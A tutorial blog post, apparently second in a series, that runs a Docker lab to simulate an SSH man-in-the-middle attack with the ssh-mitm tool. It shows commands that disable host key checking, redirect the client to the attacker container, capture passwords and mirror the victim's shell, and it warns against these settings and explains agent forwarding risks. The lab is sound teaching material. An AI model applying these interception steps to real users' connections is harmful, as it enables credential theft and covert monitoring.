Tools: Breaking: How SSH Works—and How It Breaks (Part 2): Simulating a Man-in-the-Middle Attack

Tools: Breaking: How SSH Works—and How It Breaks (Part 2): Simulating a Man-in-the-Middle Attack

What you’ll learn

Requirements

Architecture Diagram

How to run

Disabling host key verification

Choosing the MITM

Start the MITM

Compromising the client

Exploiting the malicious ssh configuration

Monitor the data being sent in real time

What about public-key-based authentication?

SSH Agent Forwarding

Key Takeaways

Conclusion

Bibliography In this article, we’ll explore how a Man-in-the-Middle (MITM) attack works using a small Docker-based lab.

We’ll simulate how an attacker can steal credentials and monitor session traffic while clients believe they’re connected to a legitimate server. This is the second part of my series named "How SSH Works—and How It Breaks". If you haven't read the first part, you can find it here. You can download the resources for this exercise from the repository on my GitHub. Execute the following command to clone the project: Here is an overview of each role: In this diagram, the client believes it is connected directly to the server, but all traffic is routed through the MITM. Ensure Docker is running. On Linux, you can use: sudo service docker status. Start the containers by executing docker compose up. You should see something like this: Three containers will be started: a client, a server, and a malicious container acting as the MITM. The next step is to connect to those containers by executing each of these commands on different terminals or tabs: Once connected to the containers, we're ready to start. Now that we have the containers running, let's set up an unsafe SSH configuration on the client to simulate a real-world vulnerability: ⚠️ WARNING: The following configuration is extremely insecure. Never use this in production or on any machine with access to important systems. This configuration effectively removes SSH’s primary defense against MITM attacks: verifying that the server you’re connecting to is the one you trust. This is something you should never do on a real system. However, if you are using custom SSH client implementations, it is possible to provide a weak configuration file for your client if you forgot to add it or weren’t aware of this. We are using the OpenSSH client just for simplicity. Now try to ssh to the server. The password is 1234. You should see something like this: As you can see, the connection was successful and no host key verification was performed by the SSH client, because we disabled it. What should have happened in a secure setup: After you type "yes", the server's public key will be added to the .ssh/known_hosts file, so the second time you ssh to the server, it won't display this confirmation message. There are several tools that can act as a MITM. For this exercise, we'll use ssh-mitm, an interactive SSH interception tool for authorized security audits and penetration testing. It provides everything we need for the exercise. Installing the tool is very straightforward. You can check the documentation for the different installation methods. For the purpose of the exercise, I’ve already set this up so you can focus on the exercise. Execute the following command in the MITM server: This will start the MITM service listening on port 22. Note the --remote-host flag. This will tell the service to connect to that machine when accepting incoming connections. In the previous chapter, we explored common SSH-related attacks such as DNS poisoning and routing attacks. For this exercise, we will simulate DNS redirection by modifying the .ssh/config file, which redirects traffic intended for ssh-lab-server to the ssh-lab-mitm. Execute the following command on the client: This line overrides the DNS resolution for this container, and forces it to connect to the malicious server instead of the real server when using the hostname instead of the IP address. Note: In real-world scenarios, attackers don’t modify your .ssh/config. They exploit DNS, routing, or compromised networks. In this lab, we simulate that behavior by manually redirecting traffic. Now when the user tries to connect to the server, the connection will be intercepted by the MITM. Execute the following command to connect to the server: The output will look similar to this: Then type the password again (1234). Once connected, execute a couple of commands: From the client’s perspective, everything looks fine. The server's IP address is 172.18.3.102, which match the one from the logs. However, that container has been the victim of a MITM attack. What happened? The attacker established two independent encrypted sessions: one with the client and one with the server. Because it sits between them, it can read the traffic; not because SSH encryption is broken, but because each side is communicating with the attacker directly. The attack only worked because the client trusted the attacker’s host key. If we hadn’t weakened our SSH configuration, the OpenSSH client would have prompted us to confirm the server’s host key. If the client already had the server’s public key in the known_hosts file, it would have warned us that the server’s key had changed. See the When the Fingerprints Don't Match section from the previous chapter. If you check the MITM logs, you will see the credentials that were used to authenticate: The attacker can authenticate to the real server using the credentials provided by the client. The server is talking with the MITM, not with the client. However, a MITM cannot always connect to the target server. This depends on the SSH configuration and the attacker’s position in the network. Alternatively, an attacker can redirect victims to a fake (honeypot) server that mimics the target to capture credentials. Because there are two separate encrypted sessions (Client ↔ MITM and MITM ↔ Server), the attacker can decrypt, inspect, and re-encrypt the traffic. This means the MITM can monitor all data being sent and received. Check the following log in the ssh-lab-mitm: If you execute ssh -p <port> 127.0.0.1 in the MITM server, you will be able to see what the user is doing in real time. The attacker can now store this information or send it to another server for later use. For public-key authentication, the MITM cannot authenticate as the client because it does not have access to the private key required to sign the server’s challenge during the handshake. To bypass this protocol protection, one option for attackers is to redirect the traffic to a honeypot, which is basically another machine owned by the attacker (or previously compromised), that looks like the legitimate server but is under his control. Users might notice something wrong (missing files, different configurations) and execute diagnostic commands that can leak sensitive information. Another option is to authenticate to the server using different credentials, but that requires knowing the credentials of another user who has access to the target server. The tool used in this lab also supports honeypot redirection: This command specifies a fallback host and credentials that the MITM can use to connect to the honeypot. The SSH Agent is the key manager of SSH. It runs in the background, separately from ssh. It stores private keys and uses them to sign authentication requests. SSH Agent Forwarding allows a remote server to access your local ssh-agent, enabling authentication to further SSH connections without transmitting your private key. This feature is not enabled by default, but if agent forwarding is enabled, a MITM can authenticate to the target server using the victim's SSH agent, without ever accessing your private key directly. The private key never leaves your machine. Only signatures are transmitted through the tunnel. However, this feature should be used sparingly. Common (and safer) scenarios include: Agent forwarding is generally discouraged in CI/CD environments. Prefer dedicated deploy keys or short-lived credentials instead. Here is an example of how you can enable ssh agent forwarding: You can refer to SSH Agent Explained to learn more about this. Security measures and best practices will be covered in more detail in the third part of the series. In this article, we explored how MITM attacks can compromise SSH connections, steal credentials and monitor traffic between the client and the server. We learned that vulnerabilities don't come from a single weak point. They come from a combination of factors such as weak SSH configurations (client or server), misuse of ssh-agent forwarding, and compromised infrastructure. Even with public-key authentication, attackers can redirect traffic to honeypots or access your ssh-agent if forwarding is enabled. Security must be enforced at every layer of the connection. In the third part of this series, we'll explore best practices and actionable recommendations to defend against these attacks and secure your SSH infrastructure. See you in the next article! Templates let you quickly answer FAQs or store snippets for re-use. Hide child comments as well For further actions, you may consider blocking this person and/or reporting abuse

Command

Copy

$ -weight: 500;">git clone https://github.com/JoDaUT/mitm.-weight: 500;">git -weight: 500;">git clone https://github.com/JoDaUT/mitm.-weight: 500;">git -weight: 500;">git clone https://github.com/JoDaUT/mitm.-weight: 500;">git Client (172.18.3.100) ↓ MITM (172.18.3.101) ← Intercepts connections, steals credentials and logs traffic ↓ Server (172.18.3.102) Client (172.18.3.100) ↓ MITM (172.18.3.101) ← Intercepts connections, steals credentials and logs traffic ↓ Server (172.18.3.102) Client (172.18.3.100) ↓ MITM (172.18.3.101) ← Intercepts connections, steals credentials and logs traffic ↓ Server (172.18.3.102) Attaching to ssh-lab-client, ssh-lab-mitm, ssh-lab-server ssh-lab-server | Server listening on 0.0.0.0 port 22. ssh-lab-server | Server listening on :: port 22. Attaching to ssh-lab-client, ssh-lab-mitm, ssh-lab-server ssh-lab-server | Server listening on 0.0.0.0 port 22. ssh-lab-server | Server listening on :: port 22. Attaching to ssh-lab-client, ssh-lab-mitm, ssh-lab-server ssh-lab-server | Server listening on 0.0.0.0 port 22. ssh-lab-server | Server listening on :: port 22. -weight: 500;">docker exec -it ssh-lab-client /bin/bash -weight: 500;">docker exec -it ssh-lab-server /bin/bash -weight: 500;">docker exec -it ssh-lab-mitm /bin/bash -weight: 500;">docker exec -it ssh-lab-client /bin/bash -weight: 500;">docker exec -it ssh-lab-server /bin/bash -weight: 500;">docker exec -it ssh-lab-mitm /bin/bash -weight: 500;">docker exec -it ssh-lab-client /bin/bash -weight: 500;">docker exec -it ssh-lab-server /bin/bash -weight: 500;">docker exec -it ssh-lab-mitm /bin/bash mkdir -p ~/.ssh cat <<EOF > ~/.ssh/config # Don't do this ever in production systems Host * StrictHostKeyChecking no UserKnownHostsFile /dev/null EOF chmod 600 ~/.ssh/config mkdir -p ~/.ssh cat <<EOF > ~/.ssh/config # Don't do this ever in production systems Host * StrictHostKeyChecking no UserKnownHostsFile /dev/null EOF chmod 600 ~/.ssh/config mkdir -p ~/.ssh cat <<EOF > ~/.ssh/config # Don't do this ever in production systems Host * StrictHostKeyChecking no UserKnownHostsFile /dev/null EOF chmod 600 ~/.ssh/config ssh myserver@ssh-lab-server ssh myserver@ssh-lab-server ssh myserver@ssh-lab-server Warning: Permanently added 'ssh-lab-server' (ED25519) to the list of known hosts. myserver@ssh-lab-server's password: [myserver@0e9d937503b2 ~]$ Warning: Permanently added 'ssh-lab-server' (ED25519) to the list of known hosts. myserver@ssh-lab-server's password: [myserver@0e9d937503b2 ~]$ Warning: Permanently added 'ssh-lab-server' (ED25519) to the list of known hosts. myserver@ssh-lab-server's password: [myserver@0e9d937503b2 ~]$ The authenticity of host 'ssh-lab-server' can't be established. ED25519 key fingerprint is ... Are you sure you want to continue connecting (yes/no)? The authenticity of host 'ssh-lab-server' can't be established. ED25519 key fingerprint is ... Are you sure you want to continue connecting (yes/no)? The authenticity of host 'ssh-lab-server' can't be established. ED25519 key fingerprint is ... Are you sure you want to continue connecting (yes/no)? ssh-mitm server --remote-host 172.18.3.102 --listen-port 22 ssh-mitm server --remote-host 172.18.3.102 --listen-port 22 ssh-mitm server --remote-host 172.18.3.102 --listen-port 22 cat <<EOF >> ~/.ssh/config Host ssh-lab-server Hostname 172.18.3.101 # this is the MITM IP address EOF cat <<EOF >> ~/.ssh/config Host ssh-lab-server Hostname 172.18.3.101 # this is the MITM IP address EOF cat <<EOF >> ~/.ssh/config Host ssh-lab-server Hostname 172.18.3.101 # this is the MITM IP address EOF ssh myserver@ssh-lab-server ssh myserver@ssh-lab-server ssh myserver@ssh-lab-server Warning: Permanently added '172.18.3.101' (RSA) to the list of known hosts. [email protected]'s password: Warning: Permanently added '172.18.3.101' (RSA) to the list of known hosts. [email protected]'s password: Warning: Permanently added '172.18.3.101' (RSA) to the list of known hosts. [email protected]'s password: /home/myserver 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host proto kernel_lo valid_lft forever preferred_lft forever 2: eth0@if27: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 7e:27:cc:2c:80:c0 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.18.3.102/24 brd 172.18.3.255 scope global eth0 valid_lft forever preferred_lft forever /home/myserver 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host proto kernel_lo valid_lft forever preferred_lft forever 2: eth0@if27: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 7e:27:cc:2c:80:c0 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.18.3.102/24 brd 172.18.3.255 scope global eth0 valid_lft forever preferred_lft forever /home/myserver 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host proto kernel_lo valid_lft forever preferred_lft forever 2: eth0@if27: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 7e:27:cc:2c:80:c0 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.18.3.102/24 brd 172.18.3.255 scope global eth0 valid_lft forever preferred_lft forever [03/09/26 04:51:02] INFO Remote authentication succeeded Remote Address: 172.18.3.102:22 Username: myserver Password: 1234 Agent: no agent [03/09/26 04:51:02] INFO Remote authentication succeeded Remote Address: 172.18.3.102:22 Username: myserver Password: 1234 Agent: no agent [03/09/26 04:51:02] INFO Remote authentication succeeded Remote Address: 172.18.3.102:22 Username: myserver Password: 1234 Agent: no agent INFO ℹ created mirror shell on port 45837. connect with: ssh -p 45837 127.0.0.1 INFO ℹ created mirror shell on port 45837. connect with: ssh -p 45837 127.0.0.1 INFO ℹ created mirror shell on port 45837. connect with: ssh -p 45837 127.0.0.1 ssh-mitm server --remote-host 172.18.3.102 --listen-port 22 --fallback-host ssh-lab-server --fallback-username myserver --fallback-password 1234 ssh-mitm server --remote-host 172.18.3.102 --listen-port 22 --fallback-host ssh-lab-server --fallback-username myserver --fallback-password 1234 ssh-mitm server --remote-host 172.18.3.102 --listen-port 22 --fallback-host ssh-lab-server --fallback-username myserver --fallback-password 1234 # In ~/.ssh/config Host server.com ForwardAgent yes # Or via command line ssh -A [email protected] # In ~/.ssh/config Host server.com ForwardAgent yes # Or via command line ssh -A [email protected] # In ~/.ssh/config Host server.com ForwardAgent yes # Or via command line ssh -A [email protected] - How SSH MITM attacks work in practice. - Why disabling host key verification is dangerous. - How attackers can intercept encrypted sessions. - Password-based authentication vs public-key authentication in MITM attacks. - Operating System: Since the lab uses Docker containers, it should work on Linux, macOS, or Windows. - Docker: On macOS or Windows, -weight: 500;">install Docker Desktop or Rancher Desktop. On Linux, -weight: 500;">install Docker using your distribution’s package manager. - On macOS or Windows, -weight: 500;">install Docker Desktop or Rancher Desktop. - On Linux, -weight: 500;">install Docker using your distribution’s package manager. - Basic Linux command-line knowledge: The containers run AlmaLinux, so familiarity with the terminal is helpful, but not required. - On macOS or Windows, -weight: 500;">install Docker Desktop or Rancher Desktop. - On Linux, -weight: 500;">install Docker using your distribution’s package manager. - Jump hosts / bastion hosts: Access private servers through a trusted intermediate machine. - Temporary multi-hop access: Short-term debugging using ssh -A (avoid permanent configuration). - Never -weight: 500;">disable StrictHostKeyChecking outside controlled environments. - Public-key authentication improves security, but does not eliminate MITM risk. - Treat SSH agent forwarding as high risk; -weight: 500;">enable it only when absolutely necessary. - Carl Tashian - 2025 - SSH Agent Explained - ssh-mitm - 2026 - SSH-MITM - ssh audits made simple - Wikipedia - 2026 - SSH Agent